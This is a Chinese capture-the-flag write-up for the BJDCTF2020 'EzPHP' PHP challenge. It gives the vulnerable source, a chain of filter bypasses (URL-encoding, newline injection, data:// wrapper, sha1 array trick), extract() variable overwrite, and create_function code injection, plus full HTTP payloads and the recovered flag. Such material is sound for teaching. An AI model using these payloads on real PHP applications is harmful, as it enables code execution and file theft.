[BJDCTF2020]EzPHP

原创

yym68686 于 2021-10-21 17:29:32 发布 67 收藏

分类专栏： CTF 文章标签： php CTF BUUCTF create_function

[BJDCTF2020]EzPHP

打开网页，查看源代码，发现：

```
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->
```

用base32解密后，明文：

```
1nD3x.php
```

访问/1nD3x.php：

```php
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>
**This is a very simple challenge and if you solve it I will give you a flag. Good Luck!**
fxck you! I hate English!
```

绕过QUERY_STRING

```
if($_SERVER) {
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )
        die('You seem to want to do something bad?');
}
```

$_SERVER取各别值：

$_SERVER[‘HTTP_HOST’]：当前请求的Host头中的内容

$_SERVER[‘SERVER_NAME’]：当前运行网页档案所在的主机名称

$_SERVER[‘REQUEST_URI’]：访问此页面需要的URL

$_SERVER[‘PHP_SELF’]：当前正在执行的网页文件名称

$_SERVER[‘QUERY_STRING’]：查询的变量值

假设今天的实作的网址是：http://jhsiao.dscloud.me:8080/server2.php?id=1798

$_SERVER[‘HTTP_HOST’]： jhsiao.dscloud.me:8080

$_SERVER[‘SERVER_NAME’]： jhsiao.dscloud.me

$_SERVER[‘REQUEST_URI’]： /server2.php?id=1798

$_SERVER[‘PHP_SELF’]： /server2.php

$_SERVER[‘QUERY_STRING’]： id=1798

References

[鐵人賽Day15]使用$_SERVER擷取網址個別值 - iT 邦幫忙::一起幫忙解決難題，拯救 IT 人的一天

$_SERVER[‘QUERY_STRING’]不会进行urldecode，其只识别?后面的内容，不解析url编码，$_GET[]会解析。用url编码绕过，结合下一个绕过要求debu是aqua_is_cute，所以debu=aqua_is_cute变为：

```
%64%65%62%75%3d%61%71%75%61%5f%69%73%5f%63%75%74%65
```

编码脚本：

```
import urllib.parse
import binascii
test = "debu=aqua_is_cute"
print(test)
alist = []
test = urllib.parse.quote(binascii.b2a_hex(test.encode('utf-8')))
for i in range(0, len(test), 2):
    alist.append(test[i:i+2])
print('%' + '%'.join(alist))
```

绕过preg_match

```
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');
```

/^aqua_is_cute$/的意思就是这一行必须是aqua_is_cute，没有其他字符，则匹配成功，但preg_match只能匹配一行，所以我们可以加上换行符%0a：

```
%64%65%62%75%3d%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
```

绕过$_REQUEST

```
if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}
```

> $_REQUEST — HTTP Request 变量
>
> ### 说明
>
> 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。

foreach遍历$_REQUEST数组，将值赋给$value$，检测value是否包含字母，如果有则die()。

假设我的$_GET，$_POST和$_COOKIE使用相同的名称。 存储在$_REQUEST中的内容的优先级取决于php.ini里面的variables_order的取值，比如variables_order='GPC'，那么优先级就是 $_COOKIE，$_POST，$_GET。variables_order的默认值是EGPCS，所以POST的优先级比GET高。

假设我的$_GET，$_POST和$_COOKIE使用相同的名称。 存储在$_REQUEST中的内容的优先级取决于php.ini里面的variables_order的取值，比如variables_order='GPC'，那么优先级就是 $_COOKIE，$_POST，$_GET。variables_order的默认值是EGPCS，所以POST的优先级比GET高，即最后解析POST的内容，先取get的值，然后判断有没有post的值，有的话就覆盖掉。

所以我们GET什么，也要POST一个一样的参数，但参数值换成数字就可以绕过了。因为我们GET了file和debu，所以我们需要POST：

```
debu=1&file=1
```

References

PHP: Description of core php.ini directives - Manual

What is the $_REQUEST precedence?

绕过file_get_contents

```
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
```

可以使用data伪协议来伪造file文件的内容：

```
file=data://text/plain,debu_debu_aqua
```

或者：

```
file=data:,debu_debu_aqua
```

绕过sha1

```
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
```

> extract
> (PHP 4, PHP 5, PHP 7, PHP 8)
> extract — 从数组中将变量导入到当前的符号表

extract()函数使用数组键名作为变量名，使用数组键值作为变量值，针对数组中的每个元素，将在当前符号表中创建对应的一个变量。因此只要extract()内的数组键名为arg和code，键值为我们构造的用来注入的代码，即可实现arg和code的变量覆盖，导致代码注入。比如用get传入flag[code]=1，那么经过extract($ET[$"flag"]$);执行后，变量code的值会被覆盖为1。

可以用数组绕过：

```
shana[]=1&passwd[]=2
```

create_function代码注入

```
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>
```

> create_function
> (PHP 4 >= 4.0.1, PHP 5, PHP 7)
> create_function — Create an anonymous (lambda-style) function

create_function官方的例子：

```
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
```

create_function第一个参数是匿名函数的参数列表，第二个参数是函数体里面的逻辑。看到$code('', $arg);，想到可以控制code为create_function这样，只要控制$arg为恶意代码就可以植入匿名函数的逻辑。比如通过get传参:

```
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
```

$code(’’, $arg);就可以翻译为：

```
create_function('', '}var_dump(get_defined_vars());//');
```

因为create_function(’’,’’)所创建的匿名函数的执行逻辑是：

```
function fT() {}
```

现在第二个参数变为}var_dump(get_defined_vars());//后，创建的匿名函数执行逻辑就变为：

```
function fT() {}var_dump(get_defined_vars());//}
```

可以发现匿名函数因为我们的传入的}被闭合，导致匿名函数里面什么都没有。反而执行了我们的恶意代码var_dump(get_defined_vars());。

为什么要用var_dump(get_defined_vars());呢？注意到include “flag.php”;，包含了flag.php文件，代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值，可以想到：**是否存在一个函数，能输出所有变量的值？刚好** `get_defined_vars()` 用来输出所有变量和值。

综合以上六个利用

最后的payload：

```
debu=aqua_is_cute&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
```

经过自己编写的脚本：

```
import urllib.parse
import binascii
test = "debu=aqua_is_cute&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//"
print(test)
alist = []
test = urllib.parse.quote(binascii.b2a_hex(test.encode('utf-8')))
for i in range(0, len(test), 2):
    alist.append(test[i:i+2])
print('%' + '%'.join(alist).replace("%3d", "=").replace("%26", "&"))
```

编码后为

```
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2ft
```

根据第一个绕过加上%0a，最后放到请求中，发送请求：

```
POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2ft HTTP/1.1
Host: 323cba70-1a7c-4974-aa5e-f3e47148e0b9.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

debu=1&file=1
```

或者这样：

```
POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());// HTTP/1.1
Host: 323cba70-1a7c-4974-aa5e-f3e47148e0b9.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

debu=1&file=1
```

响应中有：

```
["ffffffff11111114ggggg"]=>
  string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"
}
```

说明真正的flag在rea1fl4g.php中。再看看源码：

```
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>
```

- 过滤了include 还能用require
- 过滤了引号，可以使用那些参数可以不加引号的函数， `require()` 代替 `require " "`
- 过滤了flag，可以base64编码

我们可以使用

```
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
```

读出文件源码。替换var_dump(get_defined_vars())，读出flag，但filter被过滤了。用~绕过正则，使用脚本：

```
<?php
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');
```

输出：

```
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
```

所以用

```
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))
```

替换原来的var_dump(get_defined_vars())，发送POST请求：

```
POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// HTTP/1.1
Host: d5cf6103-1585-4a11-b9b4-04c5feb2b485.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

debu=1&file=1
```

把响应base64解码后，发现flag：

```
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
 echo "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";
 $f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
 $rea1_f1114g = "flag{54ed0c5b-34c7-4b4c-8f40-fb75f13f0276}";
 unset($rea1_f1114g);
```

References

官方wp：

2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup - 颖奇L’Amore

[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

https://ha1c9on.top/2020/04/11/buuoj-learn-6/

create_function() 代码注入，， PHP7.2竟然还存在_烟敛寒林的博客-CSDN博客

[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP